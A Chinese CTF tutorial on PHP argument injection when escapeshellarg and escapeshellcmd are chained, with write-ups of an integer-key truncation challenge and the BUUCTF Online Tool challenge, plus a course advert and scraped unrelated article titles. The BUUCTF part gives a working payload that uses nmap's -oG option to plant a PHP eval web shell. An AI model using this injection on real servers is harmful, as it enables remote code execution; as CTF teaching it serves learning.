直奔主题,首先来了解两个 PHP 函数的定义。

命令参数注入

escapeshellarg

把字符串转码为可以在 shell 命令里使用的参数。

escapeshellcmd

对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。

看上去似乎没什么毛病,escapeshellarg 与 escapeshellcmd 两个函数都是 php 设置来转义非法字符的,不过由于它们俩的转义规则有所不同,当先使用 escapeshellarg 再使用 escapeshellcmd 时,就可能导致命令参数注入。这是为什么呢?

原理解析

test.php

执行的语句将变成

curl '127.0.0.1''' -v -d a=1'

相当于

curl 127.0.0.1 -v -d a=1'

从而实现参数注入

题目分析

下面就以几道 CTF 题作为补充的讲解。

题目1:[0 => 0] === [0x100000000 => 0]

<?php
$user = ['admin', 'xxoo'];
if(empty($_GET['user']))  die(show_souce(__FILE__));
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;
} else {die('sketch_pl4ne_wants_a_girlfriend.');
}
?>

分析

这个实际上考的是索引数组的整数键截断

也就是:https://bugs.php.net/bug.php?id=69892

var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

构造 payload

?user[4294967296]=admin&user[1]=xxoo
//0x100000000 == 4294967296

该漏洞仅在 64 位的 php 中有效
如何判断 32 位还是 64 位?
查看 phpinfo() 即可知道。

题目2:BUUCTF_2018_Online Tool

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {highlight_file(__FILE__);
} else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

分析

直接代码审计吧,remote_addr 和 x_forwarded_for 这两个是服务器获取 ip 用的。

$host = escapeshellarg($host);
$host = escapeshellcmd($host);

前面说了,这两个 PHP 函数一起使用,会导致漏洞。

再后面 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

有个 system 来执行命令,而且有传参,这里应该就是突破口了。

nmap 可以做些什么呢?查阅相关资料后,发现一个 namp 参数 -oG 可以实现将命令和结果写到文件。

so,写入上传文件,直接一句话走起吧。

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

执行后会返回文件夹名

连接一句话即可得到 flag。

参考:https://bugs.php.net/bug.php?id=69892https://www.php.net/manual/zh/function.escapeshellcmd.php

二向箔安全的网络安全技能包又更新了!学 Python 的也能当黑客了,多实战沉浸式体验,让你回味无穷。

这个春节,让你从 程序猿→黑客x程序员 PLUS

更多有关渗透测试的内容请前往二向箔安全进行学习,最近推出了“挖洞”班,想了解更多资讯的,可咨询客服微信 twosecurity02

php 转义md5 和java 转译的区别_CTF|PHP中的命令参数注入相关推荐

  1. 【Java 虚拟机原理】垃圾回收算法 ( 设置 JVM 命令参数输出 GC 日志 | GC 日志输出示例 | GC 日志分析 )

    文章目录 一.设置 JVM 命令参数输出 GC 日志 二.GC 日志示例 三.GC 日志分析 一.设置 JVM 命令参数输出 GC 日志 在 IntelliJ IDEA 的启动参数中设置 -XX:+P ...

  2. java jstack使用_JAVA语言之JVM 中jstack命令使用详解

    本文主要向大家介绍了JAVA语言之JVM 中jstack命令使用详解,通过具体的内容向大家展示,希望对大家学习JAVA语言有所帮助. Java程序问题定位时线程栈信息是一个重要线索,如下: " ...

  3. java锁对象的区别吗_Java中对象级别锁和类级别锁之间的区别

    在多线程环境中,两个或多个线程可以同时访问共享资源,这可能导致系统行为不一致.Java使用锁的概念来限制对共享资源或对象的并发访问.锁可以应用于两个级别-对象级锁-当您希望非静态方法或非静态代码块仅应 ...

  4. java reduce 分组_使用JAVA8 stream中三个参数的reduce方法对List进行分组统计

    背景 平时在编写前端代码时,习惯使用lodash来编写'野生'的JavaScript; lodash提供来一套完整的API对JS对象(Array,Object,Collection等)进行操作,这其中 ...

  5. java http参数传递_Java在HTTP请求中传递数组参数的方法

    有个功能需要我请求别人提供的接口,该接口的参数是一个多维数组,大致类似这样:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...

  6. java清除输出内容_java – 从JSch中的命令输出中删除shell东西...

    我已成功将SSH连接到节点,发送输入,并检索输出.输入一行后,该行将打印到控制台,然后是空白行,然后输出打印两次.我不希望输入在输入后打印到控制台,也不希望空行,也不要再次打印输出.以下是我的代码 p ...

  7. java getmethod类_Java getMethod在方法中具有超类参数

    小编典典 如果您知道类型为List,则将其List.class用作参数. 如果您事先不知道类型,请想象您有: public void m(List l) { // all lists } public ...

  8. Struts2中action接收参数的三种方法及ModelDriven跟Preparable接口结合JAVA反射机制的灵活用法...

    Struts2中action接收参数的三种方法及ModelDriven跟Preparable接口结合JAVA反射机制的灵活用法 www.MyException.Cn   发布于:2012-09-15 ...

  9. 解惑(三)----- 深入理解Python中的self参数和__init__(self)方法--通过类比Java语言

    一.前言 在这里我想通过用Python和Java语言的类比来对Python中的self参数和__init__(self)方法做一个深入的解释.这样可以加深对self参数和__init__(self)方 ...

最新文章

  1. java 获取动态的service_【Android】动态代理在 Retrofit 中的使用
  2. 键盘 Input子系统
  3. vc6.0快捷键大全- -
  4. Java web项目报错 Java compiler level does not match the version of the installed Java project facet.
  5. 《IBM-PC汇编语言程序设计》(第2版)【沈美明 温冬婵】——第二章——自编解析与答案
  6. ubuntu100%快速安装搜狗输入法
  7. 【转】Wireshark网络抓包(二)——过滤器
  8. [故障解决]Could not get a resource from the pool。
  9. DVWA通关教程(上)
  10. el-table render-header 实现多级 表头
  11. Excel中如何将列数据转换为行数据
  12. 英语各类词担任的句子成分
  13. Revo Uninstaller快捷键命令
  14. 从联邦学习角度聊人工智能隐私
  15. 阿里巴巴python招聘_python阿里巴巴招聘网站爬虫
  16. H3C 交换机DRNI特性使用介绍
  17. CodeForces 3B-Lorry
  18. skipnetworking mysql_MYSQL-skip-networking
  19. 用外置显卡跑深度学习的一些注意事项
  20. 教你低价配置千兆个人云盘

热门文章

  1. wikioi 1430 素数判定
  2. 从SAP BPC中Entity维设计的理念考虑Web程序中类似文档库之类的设计该考虑的东西...
  3. 走向.NET架构设计—第四章—业务层分层架构(中篇)
  4. 【转】EntityFramework之领域驱动设计实践(三)
  5. 高质量c/c++编程(3)
  6. pandas 处理 csv
  7. 快应用实现网络测速功能_网络阅卷系统应用系统功能实现情况
  8. Ubuntu18.04修改主机名和用户名
  9. Mac解压Windows 压缩文件(.zip格式)乱码问题
  10. Android Graphic 架构